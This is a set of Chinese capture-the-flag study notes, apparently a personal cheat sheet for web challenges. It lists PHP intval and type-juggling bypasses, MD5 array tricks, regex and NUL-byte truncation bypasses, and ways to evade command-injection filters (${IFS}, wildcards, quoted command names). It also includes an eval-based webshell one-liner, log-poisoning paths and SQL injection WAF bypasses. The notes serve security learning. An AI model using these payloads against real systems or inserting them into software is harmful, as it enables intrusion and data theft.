PS:好像前几题都能直接传字符串’1000’过
0x01:利用进制转换
1.2进制:id=0b1111101000
2.16进制:id=0x38e**
0x02:利用位运算
1.取反两次:id=~~1000
2.按位与和异或:id=992|8 && id=800^200
0x03:利用运算
1.加减乘除 凑1000
注:用url 如+变%2b
2.id=–1000负负得正
0x04 限制长度
可以使用科学计数法绕过
如题
0x05 小数点绕过
payload:?num=4476.0
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
显然他不想让我们直接用八进制的方式 所以第一位为0直接die 但是
通过换行符%0a 、空格符%20结合八进制绕过 或者空格直接绕
payload: ?num=%0a010574
?num=%20010574
?num= 010574
又来抄羽大佬的博客了 关于正则的
i
不区分(ignore)大小写
m
多(more)行匹配
若存在换行\n并且有开始^或结束$符的情况下,
将以换行为分隔符,逐行进行匹配
$str = "abc\nabc";
$preg = "/^abc$/m";
preg_match($preg, $str,$matchs);
这样其实是符合正则表达式的,因为匹配的时候 先是匹配换行符前面的,接着匹配换行符后面的,两个都是abc所以可以通过正则表达式。
s
特殊字符圆点 . 中包含换行符
默认的圆点 . 是匹配除换行符 \n 之外的任何单字符,加上s之后, .包含换行符
$str = "abggab\nacbs";
$preg = "/b./s";
preg_match_all($preg, $str,$matchs);
这样匹配到的有三个 bg b\n bs
A
强制从目标字符串开头匹配;
D
如果使用$限制结尾字符,则不允许结尾有换行;
e
配合函数preg_replace()使用, 可以把匹配来的字符串当作正则表达式执行;
1.
var_dump("0"=="a") 为false
var_dump( 0 == "a" )为true
2.MD5特性
if($_POST['a']!==$_POST['b'] && md5($_POST['a'])===md5($_POST['b'])){
die("给你flag");
}
利用数组传参 数组的MD5值均为NULL 如:a[]=1&b[]=2
3._
的特性
在 preg_match过滤了_的情况下利用PHP特性。
参数中带有+ . [这三个字符会被解析成 _符号。
这里码一个大佬给的正则匹配的网站
4.ereg()函数
ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字 母的字符是大小写敏感的。 ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配
view-source:
url/.svn
url/db/db.mdb
1.命令执行时 空格的绕过
1
${IFS}
2
$IFS$9
3
<
符号
4.以及%09用于url传递
在linux系统中有一些通配符
1.* 匹配任何字符串/文本,包括空字符串;*代表任意字符(0个或多个) ls file *
2.? 匹配任何一个字符(不在括号内时)?代表任意1个字符 ls file 0
3.[abcd] 匹配abcd中任何一个字符
4.[a-z] 表示范围a到z,表示范围的意思 []匹配中括号中任意一个字符 ls file 0
我们想要执行 cat flag.php,但是flag被过滤了,这时候就可以使用通配符
cat f*表示打开当前目录下所有 f开头的文件
补充:
1.对于linux cat和ca''t ca\t ca""t效果是相同的 这样同样可以绕过字符的限制
比如 c=system('ca\t fla\g.php');
3.还是抄大佬博客
1.绕过长度限制
1>1.txt创建一个空文件,当然任何大于1的数字都可以被用来创建一个空文件。
2.一些命令分隔符:
linux中:%0a 、%0d 、; 、& 、| 、&&、||
windows中:%0a、&、|、%1a
3.某些命令被过滤后(cat等)
(1)more:一页一页的显示档案内容
(2)less:与 more 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页
(3)head:查看头几行
(4)tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
(5)tail:查看尾几行
(6)nl:显示的时候,顺便输出行号
(7)od:以二进制的方式读取档案内容
(8)vi:一种编辑器,这个也可以查看
(9)vim:一种编辑器,这个也可以查看
(10)sort:可以查看
(11)uniq:可以查看
(12)file -f:报错出具体内容
4.
php执行外部命令函数:exec()、passthru()、system()、shell_exec()对比
切记 是在php版本<5.3.4时
1.上传时路径可控,使用00截断(burp中抓包修改文件后面那里
2.文件下载时,00截断绕过白名单检查
3.文件包含时,00截断后面限制(主要是本地包含时)
4.其它与文件操作有关的地方都可能使用00截断。
1.开启配置参数short_open_tags=on的情况下
echo '123';?>
2.=(表达式)?> 等价于
3.只能在7.0下使用
<script language=”php”>echo '123'; </script>
4.前提是开启配置参数asp_tags=on
<% echo '123';%>``
然后是其他的一些过滤
1.过滤了[] 用{}
<?=eval($_POST{1});?>
auto_prepend_file
和auto_prepend_file
两种用法服务器开启了记录日志功能的情况 一般情况下
1.apache路径
/var/log/apache/access.log
2.nginx的在
/var/log/nginx/access.log和/var/log/nginx/error.log
突然发现这部分好多东西要记 但是一时半会想不起来学过的需要记的东西 想起来一点记一点把(记的简单一些 不会细致)
1.表名的引号
1.空格过滤
1.最常见的/**/过滤
2.url编码%09绕过
3.回车 换页等 %0c %0a %0b %0d
4.以及某些情况可以用括号 而不用空格or(1=1)
2.注释的过滤
1.url编码%23
3.=过滤
1.可以用like
2.某些情况能as
4.waf 正则
1.常见的大小写绕过 例:UnIon
2.如果是replace成空可以双写 seselectlect
3.join的无列名注入(推荐学习)
4.双重编码原理的两种形态
第一种 进行两次url编码 第二种比如字母e可以%6%35这样表示
其实是一个道理%6解码是%6 %35解码是5 就得出了e的ascii 65
5.其他积累的绕过
1.异或注入(感谢斯倍斯曼师傅和atao师傅)
原理是一个数异或自身的结果还是他自己 比如具体被ban了某个数字例如50
这时候你where id=50^0是可以过的(句子随便写的)
不过可能是要自己去构造这个0出来的 比如利用ascii+substr的方式